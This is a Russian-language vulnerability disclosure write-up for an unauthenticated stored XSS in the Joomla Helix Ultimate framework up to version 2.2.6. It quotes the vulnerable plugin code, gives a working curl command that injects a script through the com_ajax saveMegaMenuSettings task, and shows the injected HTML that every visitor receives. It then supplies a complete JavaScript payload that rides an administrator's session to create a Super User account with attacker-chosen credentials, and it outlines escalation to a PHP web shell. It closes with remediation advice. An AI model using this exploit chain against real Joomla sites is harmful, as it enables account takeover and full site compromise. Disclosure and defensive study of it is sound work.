
Неаутентифицированная хранимая XSS в Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Это самая серьёзная находка в этой исследовательской папке — КРИТИЧЕСКАЯ, полностью подтверждённая от начала до конца. В отличие от бага только удаления из helix_ultimate_delete_poc.md, этот имеет реальный, рабочий путь к полной компрометации сайта.
Компонент: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + шаблон shaper_helixultimate)
Проверенная версия: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Автор: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() — это стандартный обработчик событий плагина Joomla (). Ядро Joomla () само по себе — это всегда ответственность плагина. Этот обработчик выполняет произвольный вызов статического метода:
com_ajaxindex.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
Пространство имён жёстко задано (HelixUltimate\Framework\HttpResponse\), так что это не полностью произвольный гаджет RCE — но каждый публичный статический метод в src/HttpResponse/Response.php становится вызываемым кем угодно, без аутентификации, без CSRF-токена. Ни один из них не вызывает Session::checkToken() или authorise(). Это совершенно другая, отдельная точка входа, не зависящая от защищённой администратором папки Request/Platform, описанной в том документе — com_ajax полностью обходит этот барьер.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Это записывает контролируемый атакующим JSON прямо в столбец params активного, публичного пункта меню Joomla — без входа, без CSRF-токена, одним HTTP-запросом.
overrides/mod_menu/default.php (реальный, поставляемый код шаблона)Фактический распространяемый файл html/mod_menu/default.php шаблона shaper_helixultimate представляет собой однострочный прокси:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
который разрешается (проверено чтением HTMLOverride.php) в plugins/system/helixultimate/overrides/mod_menu/default.php — файл, который фактически рендерит главное навигационное меню сайта на каждой странице, для каждого посетителя:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — ключ, полностью контролируемый нами через saveMegaMenuSettings() — вставляется напрямую в HTML-атрибут без htmlspecialchars().
shaper_helixultimate + плагин 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
Поле CSRF-токена не было отправлено вовсе — даже того тривиального токена, извлечённого с главной страницы, который требовался для бага удаления.
Полученный HTML отдавался каждому последующему посетителю главной страницы:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Это именно тот сценарий, который изначально преследовала папка CVE-2026-48909, достигнутый с совершенно другого угла: неаутентифицированное сохранённое XSS + сессионный райдинг = захват учётной записи, без необходимости красть пароль или брутить установщик.
Любой администратор, который когда-либо открывает главную страницу публичного сайта в том же браузере, где он (или недавно был) вошёл в /administrator, выполнит JavaScript атакующего с неповреждённым хранилищем куки своего браузера.
Концептуальная нагрузка (не выполнялась против реальной сессии администратора в этой лаборатории — в лаборатории нет настроенной автоматизации браузера для имитации реального вошедшего администратора, посещающего страницу; сама доставка XSS подтверждена на 100% выше, это хорошо понятный, стандартный следующий шаг):
<script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Поскольку браузер прикрепляет любой сессионный куки, который он хранит для источника сайта, к любому запросу того же происхождения — независимо от того, какая вкладка или страница запустила JavaScript — это срабатывает, пока сессионный куки администратора бэкенда действителен в этом браузере на момент просмотра фронтенд-страницы. Это создаёт новую учётную запись суперпользователя с учётными данными по выбору атакующего. Оттуда: вход в /administrator, редактирование любого файла шаблона (или установка нового) для добавления PHP-веб-шелла → полный RCE.
Почему это сильнее, чем баг удаления: здесь нет ограничения на содержимое записи — этот примитив записывает данные (JSON в столбец БД), а не файлы, но эти данные рендерятся как живой HTML при каждом просмотре страницы, что как раз и есть тот примитив "записи", которого не хватало багу удаления. В сочетании со стандартным паттерном XSS→сессионный райдинг это замыкает цикл, который баг удаления не мог.
helix_ultimate_xss_detect.pyПо сути неразрушающий: записывает безвредную, инертную строку-маркер (без <script>, без кавычек) в customclass и проверяет, возвращается ли она неэкранированной в отрендеренном HTML главной страницы. Восстанавливает/очищает значение после проверки.
helix_ultimate_xss_poc.pyЗаписывает реальную XSS-нагрузку <script> (по умолчанию безвредное подтверждение alert(), или пользовательская нагрузка через --payload) в customclass выбранного пункта меню, проверяет, что она отображается без экранирования, и выводит приведённую выше концептуальную нагрузку ATO/сессионного райдинга. Использовать только с письменного разрешения — это изменяет данные живого сайта (сохранённый макет пункта меню) до тех пор, пока не будет очищено вручную.
onAjaxHelixultimate() не должен вслепую диспетчеризировать произвольные методы в HttpResponse\Response без проверки разрешений — как минимум требуется действительная сессия Joomla + Session::checkToken() перед разрешением любых задач, изменяющих состояние (сохранение меню, список модулей, методы построителя мега-меню).overrides/mod_menu/default.php (и любые другие переопределения, читающие helixultimatemenulayout/customclass) должны экранировать через htmlspecialchars() (или HTMLHelper::_('esc.html', ...) в Joomla) любое значение, извлечённое из параметров пункта меню, перед выводом в HTML-атрибуты — защита в глубину, так как параметры меню технически предназначены только для данных администратора, но явно доступны и другим.Amin İsayev / Proxima Cyber Security — 2026. Только для образовательных / авторизованных тестов.